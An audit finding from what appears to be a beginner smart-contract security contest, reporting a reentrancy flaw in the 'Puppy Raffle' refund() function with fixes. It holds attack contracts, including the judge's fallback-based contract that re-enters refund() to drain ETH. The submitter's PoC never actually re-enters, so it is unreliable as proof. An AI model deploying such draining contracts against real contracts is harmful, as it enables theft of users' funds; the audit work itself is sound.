Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Reentrancy in `refund()` which can allow draining of contract funds

Root + Impact

Description

The refund() function allows players to withdraw their entrance fee from the raffle if they are still an active participant.

The issue is that the contract sends ETH to the caller before updating the internal state that tracks active players. This violates the Checks-Effects-Interactions (CEI) pattern and exposes the function to reentrancy attacks.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
@> payable(msg.sender).sendValue(entranceFee);// external call happens before state is updated
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}

Risk

Likelihood:

  • An attack can use a malicious contract to register as a player and trigger refund() through a fallback or receive function

  • During the ETH transfer, the attacker re-enters refund() before the player slot is cleared

Impact:

  • Funds can be completely drained through repeated calls

  • Normal users may lose their funds due to depleted contract balance

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
import "forge-std/Test.sol";
import "../src/PuppyRaffle.sol";
contract Attacker {
PuppyRaffle raffle;
uint256 public index;
uint256 public refundCount;
constructor(address _raffle) {
raffle = PuppyRaffle(_raffle);
}
function enter(address[] memory players) external payable {
raffle.enterRaffle{value: msg.value}(players);
index = raffle.getActivePlayerIndex(address(this));
}
function startExploit() external {
raffle.refund(index);
}
receive() external payable {
refundCount++;
}
}
contract AttackRefund is Test {
PuppyRaffle raffle;
Attacker attacker;
function setUp() public {
raffle = new PuppyRaffle(
1 ether,
address(99),
1 days
);
attacker = new Attacker(address(raffle));
vm.deal(address(attacker), 10 ether);
}
function test_reentrancy_refund() public {
// 1. enter raffle
address[] memory players = new address[](1);
players[0] = address(attacker);
vm.prank(address(attacker));
attacker.enter{value: 1 ether}(players);
uint256 beforeBal = address(attacker).balance;
// 2. trigger refund once
vm.prank(address(attacker));
attacker.startExploit();
uint256 afterBal = address(attacker).balance;
// 3. proof
console.log("refundCount:", attacker.refundCount());
console.log("balance before:", beforeBal);
console.log("balance after:", afterBal);
assertGt(afterBal, beforeBal);
}
}

Recommended Mitigation

  • Make use of the Checks-Effects-Interactions (CEI) pattern by updating state before making external calls.

  • This can also be mitigated by using a reentrancy guard.

function refund(uint256 playerIndex) public nonReentrant {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+ players[playerIndex] = address(0); // @> state update first
+ emit RaffleRefunded(playerAddress);
- payable(msg.sender).sendValue(entranceFee);
+ payable(msg.sender).sendValue(entranceFee); // @> external call last
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

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